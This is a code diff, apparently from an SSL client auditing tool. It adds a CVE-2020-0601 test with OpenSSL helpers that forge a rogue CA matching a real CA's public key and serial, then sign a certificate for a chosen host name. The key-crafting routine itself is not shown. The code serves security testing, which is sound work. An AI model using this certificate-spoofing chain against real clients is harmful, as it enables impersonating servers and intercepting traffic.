1 | #define CVE20200601_POC_H | |
2 | ||
3 | #include <stddef.h> | |
4 | ||
5 | bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen, | |
6 | char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len, | |
7 | bool doSave = true, const char *evilPrivKeyFileName = NULL); | |
8 | ||
9 | #endif // CVE20200601_POC_H |
0 | #include "openssl-helper.h" | |
1 | ||
2 | #include <iostream> | |
3 | #include <string.h> | |
4 | ||
5 | #ifdef UNSAFE | |
6 | #include <openssl-unsafe/bio.h> | |
7 | #include <openssl-unsafe/x509.h> | |
8 | #include <openssl-unsafe/evp.h> | |
9 | #include <openssl-unsafe/pem.h> | |
10 | #include <openssl-unsafe/x509v3.h> | |
11 | #else | |
12 | #include <openssl/bio.h> | |
13 | #include <openssl/x509.h> | |
14 | #include <openssl/evp.h> | |
15 | #include <openssl/pem.h> | |
16 | #include <openssl/x509v3.h> | |
17 | #endif | |
18 | ||
19 | ||
20 | bool getCertPublicKey(const char *certData, size_t certLen, | |
21 | unsigned char *out, size_t *outLen, | |
22 | bool pem) | |
23 | { | |
24 | BIO *bio = NULL; | |
25 | X509 *cert = NULL; | |
26 | EVP_PKEY *pkey = NULL; | |
27 | ||
28 | // create an X509 certificate from the provided data | |
29 | bio = BIO_new(BIO_s_mem()); | |
30 | BIO_write(bio, certData, certLen); | |
31 | if (pem) { | |
32 | cert = PEM_read_bio_X509(bio, NULL, NULL, NULL); | |
33 | } else { | |
34 | cert = d2i_X509_bio(bio, NULL); | |
35 | } | |
36 | if (!cert) { | |
37 | std::cerr << "can't parse the provided CA certificate" << std::endl; | |
38 | return false; | |
39 | } | |
40 | ||
41 | // extract public key from X509 certificate structure | |
42 | pkey = X509_get_pubkey(cert); | |
43 | ||
44 | // save raw public key data into the provided buffer | |
45 | *outLen = i2d_PUBKEY(pkey, NULL); | |
46 | i2d_PUBKEY(pkey, &out); | |
47 | ||
48 | EVP_PKEY_free(pkey); | |
49 | X509_free(cert); | |
50 | BIO_free_all(bio); | |
51 | ||
52 | return true; | |
53 | } | |
54 | ||
55 | bool pkcs8PrivKeyToPem(const char *privKeyRaw, size_t privKeyRawLen, | |
56 | char *privKeyPem, size_t maxSize, size_t *evilPrivKeyPemLen, | |
57 | bool doSave, const char *privKeyFileName) | |
58 | { | |
59 | BIO *bioIn = NULL; | |
60 | BIO *bioOut = NULL; | |
61 | BIO *bioF = NULL; | |
62 | EVP_PKEY *pkey = NULL; | |
63 | ||
64 | // load private key from buffer | |
65 | bioIn = BIO_new(BIO_s_mem()); | |
66 | BIO_write(bioIn, privKeyRaw, privKeyRawLen); | |
67 | pkey = d2i_PrivateKey_bio(bioIn, NULL); | |
68 | if (!pkey) { | |
69 | std::cerr << "can't parse the provided private key" << std::endl; | |
70 | return false; | |
71 | } | |
72 | ||
73 | // save key into memory buffer | |
74 | bioOut = BIO_new(BIO_s_mem()); | |
75 | PEM_write_bio_PrivateKey(bioOut, pkey, NULL, NULL, 0, NULL, NULL); | |
76 | *evilPrivKeyPemLen = BIO_read(bioOut, privKeyPem, maxSize); | |
77 | ||
78 | // save private key | |
79 | if (doSave) { | |
80 | bioF = BIO_new_file(privKeyFileName, "w"); | |
81 | PEM_write_bio_PrivateKey(bioF, pkey, NULL, NULL, 0, NULL, NULL); | |
82 | } | |
83 | ||
84 | EVP_PKEY_free(pkey); | |
85 | BIO_free_all(bioIn); | |
86 | BIO_free_all(bioOut); | |
87 | BIO_free_all(bioF); | |
88 | ||
89 | return true; | |
90 | } | |
91 | ||
92 | bool getCertSerial(const char *certData, size_t certLen, | |
93 | unsigned char *out, size_t maxSize, size_t *outLen, | |
94 | bool pem) | |
95 | { | |
96 | BIO *bio = NULL; | |
97 | X509 *cert = NULL; | |
98 | ASN1_INTEGER *serial = NULL; | |
99 | BIGNUM *bn = NULL; | |
100 | char *tmpBuf = NULL; | |
101 | ||
102 | // create a certificate from the provided data | |
103 | bio = BIO_new(BIO_s_mem()); | |
104 | BIO_write(bio, certData, certLen); | |
105 | if (pem) { | |
106 | cert = PEM_read_bio_X509(bio, NULL, NULL, NULL); | |
107 | } else { | |
108 | cert = d2i_X509_bio(bio, NULL); | |
109 | } | |
110 | if (!cert) { | |
111 | std::cerr << "can't parse the provided certificate" << std::endl; | |
112 | return false; | |
113 | } | |
114 | ||
115 | serial = X509_get_serialNumber(cert); | |
116 | if (!serial) { | |
117 | std::cerr << "can't obtain certificate' serial number" << std::endl; | |
118 | return false; | |
119 | } | |
120 | ||
121 | bn = ASN1_INTEGER_to_BN(serial, NULL); | |
122 | if (!bn) { | |
123 | std::cerr << "can't convert serial to big number" << std::endl; | |
124 | return false; | |
125 | } | |
126 | ||
127 | tmpBuf = BN_bn2dec(bn); | |
128 | if (!tmpBuf) { | |
129 | std::cerr << "can't convert big number to string" << std::endl; | |
130 | return false; | |
131 | } | |
132 | ||
133 | *outLen = strlen(tmpBuf); | |
134 | if (*outLen >= maxSize) { | |
135 | std::cerr << "not large enough buffer provided" << std::endl; | |
136 | return false; | |
137 | } | |
138 | ||
139 | strncpy((char *)out, tmpBuf, maxSize); | |
140 | ||
141 | BN_free(bn); | |
142 | X509_free(cert); | |
143 | BIO_free_all(bio); | |
144 | ||
145 | return true; | |
146 | } | |
147 | ||
148 | ||
149 | static int add_ext(X509 *cert, int nid, const char *value) | |
150 | { | |
151 | X509_EXTENSION *ex; | |
152 | X509V3_CTX ctx; | |
153 | X509V3_set_ctx_nodb(&ctx); | |
154 | X509V3_set_ctx(&ctx, cert, cert, NULL, NULL, 0); | |
155 | ex = X509V3_EXT_conf_nid(NULL, &ctx, nid, (char *)value); | |
156 | if (!ex) | |
157 | return 0; | |
158 | ||
159 | X509_add_ext(cert, ex, -1); | |
160 | X509_EXTENSION_free(ex); | |
161 | return 1; | |
162 | } | |
163 | ||
164 | bool genSignedCaCertWithSerial(const char *caSerial, | |
165 | const char *privKeyData, size_t privKeyLen, | |
166 | unsigned char *out, size_t maxSize, size_t *outLen, | |
167 | bool doSave, const char *certFileName) | |
168 | { | |
169 | EVP_PKEY *pkey = NULL; | |
170 | BIO *bioPrivKey = NULL; | |
171 | BIGNUM *bn = NULL; | |
172 | ASN1_INTEGER *asn1serial = NULL; | |
173 | BIO *bioOut = NULL; | |
174 | BIO *bioFile = NULL; | |
175 | X509 *newCert = NULL; | |
176 | X509_NAME *name = NULL; | |
177 | const EVP_MD *digest = EVP_sha256(); | |
178 | X509_REQ *req = NULL; | |
179 | ||
180 | // import private key from the provided data | |
181 | bioPrivKey = BIO_new(BIO_s_mem()); | |
182 | BIO_write(bioPrivKey, privKeyData, privKeyLen); | |
183 | pkey = PEM_read_bio_PrivateKey(bioPrivKey, NULL, NULL, NULL); | |
184 | if (!pkey) { | |
185 | std::cerr << "can't parse the private key" << std::endl; | |
186 | return false; | |
187 | } | |
188 | ||
189 | // create a new certificate request as a template | |
190 | req = X509_REQ_new(); | |
191 | X509_REQ_set_version(req, 0L); | |
192 | ||
193 | name = X509_REQ_get_subject_name(req); | |
194 | X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (unsigned char *)"BE", -1, -1, 0); | |
195 | X509_NAME_add_entry_by_txt(name, "ST", MBSTRING_ASC, (unsigned char *)"Brussels", -1, -1, 0); | |
196 | X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (unsigned char *)"Gremwell", -1, -1, 0); | |
197 | ||
198 | X509_REQ_set_pubkey(req, pkey); | |
199 | ||
200 | // create a new certificate | |
201 | newCert = X509_new(); | |
202 | X509_set_version(newCert, 2); | |
203 | ||
204 | // set serial from the original certificate | |
205 | BN_dec2bn(&bn, caSerial); | |
206 | asn1serial = BN_to_ASN1_INTEGER(bn, NULL); | |
207 | if (!asn1serial) { | |
208 | std::cerr << "can't convert the provided serial number" << std::endl; | |
209 | return false; | |
210 | } | |
211 | X509_set_serialNumber(newCert, asn1serial); | |
212 | ||
213 | // set issuer and subject as the request's subject | |
214 | X509_set_issuer_name(newCert, X509_REQ_get_subject_name(req)); | |
215 | X509_set_subject_name(newCert, X509_REQ_get_subject_name(req)); | |
216 | ||
217 | // adjust validity time | |
218 | X509_gmtime_adj(X509_get_notBefore(newCert), 0); | |
219 | X509_time_adj_ex(X509_get_notAfter(newCert), 30, 0, NULL); | |
220 | ||
221 | // set public key as in the request | |
222 | X509_set_pubkey(newCert, X509_REQ_get_pubkey(req)); | |
223 | ||
224 | // add various extensions, this should make our certificate CA-capable | |
225 | add_ext(newCert, NID_basic_constraints, "critical,CA:TRUE"); | |
226 | add_ext(newCert, NID_subject_key_identifier, "hash"); | |
227 | add_ext(newCert, NID_authority_key_identifier, "keyid:always"); | |
228 | ||
229 | // sign it using the provided key | |
230 | X509_sign(newCert, pkey, digest); | |
231 | ||
232 | // save the certificate into memory buffer | |
233 | bioOut = BIO_new(BIO_s_mem()); | |
234 | PEM_write_bio_X509(bioOut, newCert); | |
235 | *outLen = BIO_read(bioOut, out, maxSize); | |
236 | ||
237 | // save the certificate as a file | |
238 | if (doSave) { | |
239 | bioFile = BIO_new_file(certFileName, "w"); | |
240 | PEM_write_bio_X509(bioFile, newCert); | |
241 | } | |
242 | ||
243 | EVP_PKEY_free(pkey); | |
244 | X509_free(newCert); | |
245 | X509_REQ_free(req); | |
246 | BN_free(bn); | |
247 | BIO_free_all(bioPrivKey); | |
248 | BIO_free_all(bioOut); | |
249 | BIO_free_all(bioFile); | |
250 | ||
251 | return true; | |
252 | } | |
253 | ||
254 | static int rand_serial(BIGNUM *b, ASN1_INTEGER *ai) | |
255 | { | |
256 | BIGNUM *btmp; | |
257 | int ret = 0; | |
258 | if (b) { | |
259 | btmp = b; | |
260 | } else { | |
261 | btmp = BN_new(); | |
262 | } | |
263 | if (!btmp) | |
264 | return 0; | |
265 | # define SERIAL_RAND_BITS 64 | |
266 | if (!BN_pseudo_rand(btmp, SERIAL_RAND_BITS, 0, 0)) | |
267 | goto error; | |
268 | if (ai && !BN_to_ASN1_INTEGER(btmp, ai)) | |
269 | goto error; | |
270 | ret = 1; | |
271 | error: | |
272 | if (!b) | |
273 | BN_free(btmp); | |
274 | return ret; | |
275 | } | |
276 | ||
277 | bool genSignedCertForCN(const char *commonName, | |
278 | const char *caCertData, size_t caCertLen, | |
279 | const char *caPrivKeyData, size_t caPrivKeyLen, | |
280 | unsigned char *outKey, size_t maxSizeKey, size_t *outKeyLen, | |
281 | unsigned char *outCert, size_t maxSizeCert, size_t *outCertLen, | |
282 | bool doSave, | |
283 | const char *certFileName, const char *keyFileName) | |
284 | { | |
285 | BIO *bioCa = NULL; | |
286 | BIO *bioCaKey = NULL; | |
287 | BIO *bioOut = NULL; | |
288 | EC_GROUP *ecgroup = NULL; | |
289 | EC_KEY *eckey = NULL; | |
290 | EVP_PKEY *pkey = NULL; | |
291 | X509 *caCert = NULL; | |
292 | X509 *newcert = NULL; | |
293 | EVP_PKEY *caPrivKey = NULL; | |
294 | X509_NAME *name = NULL; | |
295 | ASN1_INTEGER *aserial = NULL; | |
296 | X509_REQ *certreq = NULL; | |
297 | const EVP_MD *digest = EVP_sha256(); | |
298 | ||
299 | // create an X509 certificate from the provided data | |
300 | bioCa = BIO_new(BIO_s_mem()); | |
301 | BIO_write(bioCa, caCertData, caCertLen); | |
302 | caCert = PEM_read_bio_X509(bioCa, NULL, NULL, NULL); | |
303 | if (!caCert) { | |
304 | std::cerr << "can't parse the provided CA certificate" << std::endl; | |
305 | return false; | |
306 | } | |
307 | ||
308 | // create private key from the provided data | |
309 | bioCaKey = BIO_new(BIO_s_mem()); | |
310 | BIO_write(bioCaKey, caPrivKeyData, caPrivKeyLen); | |
311 | caPrivKey = PEM_read_bio_PrivateKey(bioCaKey, NULL, NULL, NULL); | |
312 | if (!caPrivKey) { | |
313 | std::cerr << "can't parse the provided private key" << std::endl; | |
314 | return false; | |
315 | } | |
316 | ||
317 | // generate a new private key | |
318 | ecgroup = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1); | |
319 | eckey = EC_KEY_new(); | |
320 | EC_GROUP_set_asn1_flag(ecgroup, 1); | |
321 | EC_KEY_set_group(eckey, ecgroup); | |
322 | EC_KEY_generate_key(eckey); | |
323 | pkey = EVP_PKEY_new(); | |
324 | EVP_PKEY_assign_EC_KEY(pkey, eckey); | |
325 | if (!pkey) { | |
326 | std::cerr << "can't create a new private key" << std::endl; | |
327 | return false; | |
328 | } | |
329 | ||
330 | // create a CSR | |
331 | certreq = X509_REQ_new(); | |
332 | X509_REQ_set_version(certreq, 0L); | |
333 | ||
334 | name = X509_REQ_get_subject_name(certreq); | |
335 | X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (unsigned char *)"BE", -1, -1, 0); | |
336 | X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (unsigned char *)"Gremwell", -1, -1, 0); | |
337 | X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, (unsigned char *)commonName, -1, -1, 0); | |
338 | ||
339 | X509_REQ_set_pubkey(certreq, pkey); | |
340 | ||
341 | X509_REQ_sign(certreq, pkey, digest); | |
342 | ||
343 | // build a new certificate | |
344 | newcert = X509_new(); | |
345 | X509_set_version(newcert, 2); | |
346 | ||
347 | // set the certificate serial number here | |
348 | aserial = ASN1_INTEGER_new(); | |
349 | rand_serial(NULL, aserial); | |
350 | X509_set_serialNumber(newcert, aserial); | |
351 | ||
352 | // set the new certificate subject name from signing request | |
353 | X509_set_subject_name(newcert, X509_REQ_get_subject_name(certreq)); | |
354 | ||
355 | // set the new certificate issuer name to CA's subject | |
356 | X509_set_issuer_name(newcert, X509_get_subject_name(caCert)); | |
357 | ||
358 | // set the new certificate public key | |
359 | X509_set_pubkey(newcert, X509_REQ_get_pubkey(certreq)); | |
360 | ||
361 | // adjust validity time | |
362 | X509_gmtime_adj(X509_get_notBefore(newcert), 0); | |
363 | X509_time_adj_ex(X509_get_notAfter(newcert), 30, 0, NULL); | |
364 | ||
365 | // sign the certificate | |
366 | X509_sign(newcert, caPrivKey, digest); | |
367 | ||
368 | // save the certificate into memory buffer | |
369 | bioOut = BIO_new(BIO_s_mem()); | |
370 | PEM_write_bio_X509(bioOut, newcert); | |
371 | *outCertLen = BIO_read(bioOut, outCert, maxSizeCert); | |
372 | BIO_free_all(bioOut); | |
373 | ||
374 | // save the certificate as a file | |
375 | if (doSave) { | |
376 | bioOut = BIO_new_file(certFileName, "w"); | |
377 | PEM_write_bio_X509(bioOut, newcert); | |
378 | BIO_free_all(bioOut); | |
379 | } | |
380 | ||
381 | // save the key into memory buffer | |
382 | bioOut = BIO_new(BIO_s_mem()); | |
383 | PEM_write_bio_PrivateKey(bioOut, pkey, NULL, NULL, 0, NULL, NULL); | |
384 | *outKeyLen = BIO_read(bioOut, outKey, maxSizeKey); | |
385 | BIO_free_all(bioOut); | |
386 | ||
387 | // save the key as a file | |
388 | if (doSave) { | |
389 | bioOut = BIO_new_file(keyFileName, "w"); | |
390 | PEM_write_bio_PrivateKey(bioOut, pkey, NULL, NULL, 0, NULL, NULL); | |
391 | BIO_free_all(bioOut); | |
392 | } | |
393 | ||
394 | BIO_free_all(bioCa); | |
395 | X509_free(caCert); | |
396 | BIO_free_all(bioCaKey); | |
397 | EVP_PKEY_free(caPrivKey); | |
398 | EVP_PKEY_free(pkey); | |
399 | X509_free(newcert); | |
400 | X509_REQ_free(certreq); | |
401 | ASN1_INTEGER_free(aserial); | |
402 | ||
403 | return true; | |
404 | } |
0 | #ifndef OPENSSLHELPER_H | |
1 | #define OPENSSLHELPER_H | |
2 | ||
3 | #include <stddef.h> | |
4 | ||
5 | bool getCertPublicKey(const char *certData, size_t certLen, | |
6 | unsigned char *out, size_t *outLen, | |
7 | bool pem = true); | |
8 | ||
9 | bool pkcs8PrivKeyToPem(const char *privKeyRaw, size_t privKeyRawLen, | |
10 | char *privKeyPem, size_t maxSize, size_t *privKeyPemLen, | |
11 | bool doSave = true, const char *privKeyFileName = NULL); | |
12 | ||
13 | bool getCertSerial(const char *certData, size_t certLen, | |
14 | unsigned char *out, size_t maxSize, size_t *outLen, | |
15 | bool pem = true); | |
16 | ||
17 | bool genSignedCaCertWithSerial(const char *caSerial, | |
18 | const char *privKeyData, size_t privKeyLen, | |
19 | unsigned char *out, size_t maxSize, size_t *outLen, | |
20 | bool doSave = true, const char *certFileName = NULL); | |
21 | ||
22 | bool genSignedCertForCN(const char *commonName, | |
23 | const char *caCertData, size_t caCertLen, | |
24 | const char *caPrivKeyData, size_t caPrivKeyLen, | |
25 | unsigned char *outKey, size_t maxSizeKey, size_t *outKeyLen, | |
26 | unsigned char *outCert, size_t maxSizeCert, size_t *outCertLen, | |
27 | bool doSave = true, | |
28 | const char *certFileName = NULL, const char *keyFileName = NULL); | |
29 | ||
30 | #endif // OPENSSLHELPER_H |
55 | 55 | SslTestCiphersDtls12Exp, |
56 | 56 | SslTestCiphersDtls12Low, |
57 | 57 | SslTestCiphersDtls12Med, |
58 | SslTestCertCve20200601, | |
58 | 59 | SslTestNonexisting, |
59 | 60 | }; |
60 | 61 |
1 | 1 | #include "ssltests.h" |
2 | 2 | #include "sslcertgen.h" |
3 | 3 | #include "debug.h" |
4 | #include "openssl-helper.h" | |
5 | #include "cve-2020-0601_poc.h" | |
4 | 6 | |
5 | 7 | #ifdef UNSAFE_QSSL |
6 | 8 | #include "sslunsafeconfiguration.h" |
49 | 51 | ADD_SSLTEST_CASE(SslTestCiphersDtls12Exp); |
50 | 52 | ADD_SSLTEST_CASE(SslTestCiphersDtls12Low); |
51 | 53 | ADD_SSLTEST_CASE(SslTestCiphersDtls12Med); |
54 | ADD_SSLTEST_CASE(SslTestCertCve20200601); | |
52 | 55 | |
53 | 56 | case SslTestId::SslTestNonexisting: |
54 | 57 | break; |
408 | 411 | { |
409 | 412 | return setProtoAndMediumCiphers(XSsl::DtlsV1_2); |
410 | 413 | } |
414 | ||
415 | bool SslTestCertCve20200601::prepare(const SslUserSettings &settings) | |
416 | { | |
417 | XSslCertificate caCert; | |
418 | QByteArray caSN; | |
419 | QByteArray caPubKey; | |
420 | QString targetCN; | |
421 | bool ret = false; | |
422 | ||
423 | // if user provided CA cert, use it as a base one | |
424 | QList<XSslCertificate> chain = settings.getUserCaCert(); | |
425 | if (chain.size() == 0) { | |
426 | // ok, no CA cert, may be remote server is provided? | |
427 | if (settings.getServerAddr().length() != 0) { | |
428 | // assume that CA will be last in the list | |
429 | caCert = settings.getPeerCertificates().last(); | |
430 | // get common name of the host | |
431 | targetCN = settings.getPeerCertificates().first().subjectInfo(XSslCertificate::CommonName).first(); | |
432 | } | |
433 | } else { | |
434 | caCert = chain.at(0); | |
435 | } | |
436 | ||
437 | if (caCert.isNull()) { | |
438 | VERBOSE("\tCVE-2020-0601: no CA certificate provided"); | |
439 | return false; | |
440 | } | |
441 | ||
442 | // CA has to be self-signed | |
443 | if (!caCert.isSelfSigned()) { | |
444 | VERBOSE("\tCVE-2020-0601: the provided certificate is not a CA"); | |
445 | return false; | |
446 | } | |
447 | ||
448 | // check if the certificate is signed using ECC | |
449 | if (caCert.publicKey().algorithm() != XSsl::Ec) { | |
450 | VERBOSE("\tCVE-2020-0601: the provided CA certificate is not signed using ECC"); | |
451 | return false; | |
452 | } | |
453 | ||
454 | // extract raw public key and serial number of the provided certificate | |
455 | caSN.resize(8192); | |
456 | size_t caSNLen = 0; | |
457 | getCertSerial(caCert.toPem().constData(), caCert.toPem().size(), | |
458 | (unsigned char *)caSN.data(), 8192, &caSNLen, | |
459 | true); | |
460 | caSN.resize(caSNLen); | |
461 | ||
462 | caPubKey.resize(8192); | |
463 | size_t caPubKeyLen = 0; | |
464 | ret = getCertPublicKey(caCert.toPem().constData(), caCert.toPem().size(), | |
465 | (unsigned char *)caPubKey.data(), &caPubKeyLen, | |
466 | true); | |
467 | if (!ret) { | |
468 | VERBOSE("\tCVE-2020-0601: failed to extract public key"); | |
469 | return false; | |
470 | } | |
471 | ||
472 | caPubKey.resize(caPubKeyLen); | |
473 | ||
474 | // decide what target common name to use | |
475 | if (settings.getUserCN().size() > 0) { | |
476 | targetCN = settings.getUserCN(); | |
477 | } | |
478 | if (targetCN.size() == 0) { | |
479 | targetCN = "www.example.com"; | |
480 | } | |
481 | ||
482 | // input data is ready now we can craft evil certificates | |
483 | ||
484 | // craft evil private key which generates the desired public key | |
485 | char evilPrivKeyPKCS8[16384]; | |
486 | size_t evilPrivKeyPKCS8Len; | |
487 | ret = craftEvilPrivKey(caPubKey.constData(), caPubKey.size(), | |
488 | evilPrivKeyPKCS8, sizeof(evilPrivKeyPKCS8), &evilPrivKeyPKCS8Len, | |
489 | false, NULL); | |
490 | if (!ret) { | |
491 | VERBOSE("\tCVE-2020-0601: failed to craft evil private key"); | |
492 | return false; | |
493 | } | |
494 | ||
495 | // convert this private key to PEM format | |
496 | char evilPrivKeyPem[16384]; | |
497 | size_t evilPrivKeyPemLen; | |
498 | ret = pkcs8PrivKeyToPem(evilPrivKeyPKCS8, evilPrivKeyPKCS8Len, | |
499 | evilPrivKeyPem, sizeof(evilPrivKeyPem), &evilPrivKeyPemLen, | |
500 | false, NULL); | |
501 | if (!ret) { | |
502 | VERBOSE("\tCVE-2020-0601: failed to convert evil private key to PEM"); | |
503 | return false; | |
504 | } | |
505 | ||
506 | // create our rogue CA with the same serial number as the original one | |
507 | // sign it with evil private key | |
508 | unsigned char evilCaCert[16384]; | |
509 | size_t evilCaCertLen; | |
510 | ret = genSignedCaCertWithSerial(caSN.constData(), | |
511 | (const char *)evilPrivKeyPem, evilPrivKeyPemLen, | |
512 | evilCaCert, sizeof(evilCaCert), &evilCaCertLen, | |
513 | false, NULL); | |
514 | if (!ret) { | |
515 | VERBOSE("\tCVE-2020-0601: failed to sign custom CA"); | |
516 | return false; | |
517 | } | |
518 | ||
519 | // generate a certificate for the provided common name which is signed by the evil CA | |
520 | unsigned char hostCert[8192]; | |
521 | size_t hostCertLen; | |
522 | unsigned char hostKey[8192]; | |
523 | size_t hostKeyLen; | |
524 | ret = genSignedCertForCN(targetCN.toLocal8Bit().constData(), | |
525 | (const char *)evilCaCert, evilCaCertLen, | |
526 | (const char *)evilPrivKeyPem, evilPrivKeyPemLen, | |
527 | hostKey, sizeof(hostKey), &hostKeyLen, | |
528 | hostCert, sizeof(hostCert), &hostCertLen, | |
529 | false, NULL, NULL); | |
530 | if (!ret) { | |
531 | VERBOSE("\tCVE-2020-0601: failed to generate certificate for target common name"); | |
532 | return false; | |
533 | } | |
534 | ||
535 | // we have certificates and keys in raw format, convert them to Qt types | |
536 | XSslCertificate evilCaCertQt(QByteArray::fromRawData((const char *)evilCaCert, evilCaCertLen), | |
537 | XSsl::Pem); | |
538 | XSslCertificate hostCertQt(QByteArray::fromRawData((const char *)hostCert, hostCertLen), | |
539 | XSsl::Pem); | |
540 | XSslKey hostKeyQt(QByteArray::fromRawData((const char *)hostKey, hostKeyLen), | |
541 | XSsl::Ec, XSsl::Pem, XSsl::PrivateKey); | |
542 | ||
543 | if (evilCaCertQt.isNull() || hostCertQt.isNull() || hostKeyQt.isNull()) { | |
544 | VERBOSE("\tCVE-2020-0601: failed to switch to Qt types"); | |
545 | return false; | |
546 | } | |
547 | ||
548 | // finally, fill class members with crafted certificates | |
549 | m_localCertsChain << hostCertQt; | |
550 | m_localCertsChain << evilCaCertQt; // providing CA is obligatory | |
551 | m_privateKey = hostKeyQt; | |
552 | ||
553 | m_sslCiphers = XSslConfiguration::supportedCiphers(); | |
554 | // DTLS mode requires specific protocol to be set | |
555 | if (settings.getUseDtls()) { | |
556 | m_sslProtocol = XSsl::DtlsV1_0OrLater; | |
557 | } else { | |
558 | m_sslProtocol = XSsl::AnyProtocol; | |
559 | } | |
560 | ||
561 | return true; | |
562 | } |
370 | 370 | |
371 | 371 | }; |
372 | 372 | |
373 | class SslTestCertCve20200601 : public SslCertificatesTest | |
374 | { | |
375 | public: | |
376 | SslTestCertCve20200601() : SslCertificatesTest() { | |
377 | m_id = SslTestId::SslTestCertCve20200601; | |
378 | m_name = "CVE-2020-0601 ECC cert trust"; | |
379 | m_description = "test for trusting certificate signed by private key with custom curve"; | |
380 | } | |
381 | bool prepare(const SslUserSettings &settings); | |
382 | ||
383 | }; | |
384 | ||
373 | 385 | #endif // SSLTESTS_H |
148 | 148 | ok = settings->setUserCaCertPath(parser.value(userCaCertOption)); |
149 | 149 | if (!ok) |
150 | 150 | exit(-1); |
151 | ||
152 | if (!parser.isSet(userCaKeyOption)) { | |
153 | RED("custom private key for CA is not specified, exiting"); | |
154 | exit(-1); | |
155 | } | |
156 | 151 | } |
157 | 152 | if (parser.isSet(userCaKeyOption)) { |
158 | 153 | ok = settings->setUserCaKeyPath(parser.value(userCaKeyOption)); |
0 | 0 | #!/bin/sh |
1 | 1 | |
2 | apt-get install -y cmake qtbase5-dev g++ libgnutls28-dev libssl1.0-dev | |
2 | apt-get install -y cmake qtbase5-dev g++ libgnutls28-dev libssl1.0-dev libcrypto++-dev |
0 | 0 | #!/bin/sh |
1 | 1 | |
2 | apt-get install -y cmake qtbase5-dev libgnutls-dev libssl-dev | |
2 | apt-get install -y cmake qtbase5-dev libgnutls-dev libssl-dev libcrypto++-dev |
0 | 0 | #!/bin/sh |
1 | 1 | |
2 | wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb | |
3 | wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb | |
4 | wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb | |
5 | apt-get install -y ./libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb ./libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb ./openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb | |
6 | rm ./libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb ./libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb ./openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb | |
2 | add-apt-repository ppa:gremwell/qsslcaudit | |
3 | apt-get update | |
4 | apt-get install -y libunsafessl-dev openssl-unsafe | |
7 | 5 | |
8 | apt-get install -y cmake qtbase5-dev g++ libgnutls28-dev | |
6 | apt-get install -y cmake qtbase5-dev g++ libgnutls28-dev libcrypto++-dev |
0 | 0 | #!/bin/sh |
1 | 1 | |
2 | wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb | |
3 | wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb | |
4 | wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb | |
5 | apt-get install -y ./libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb ./libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb ./openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb | |
6 | rm ./libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb ./libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb ./openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb | |
2 | add-apt-repository ppa:gremwell/qsslcaudit | |
3 | apt-get update | |
4 | apt-get install -y libunsafessl-dev openssl-unsafe | |
7 | 5 | |
8 | apt-get install -y cmake qtbase5-dev libgnutls-dev | |
6 | apt-get install -y cmake qtbase5-dev libgnutls-dev libcrypto++-dev |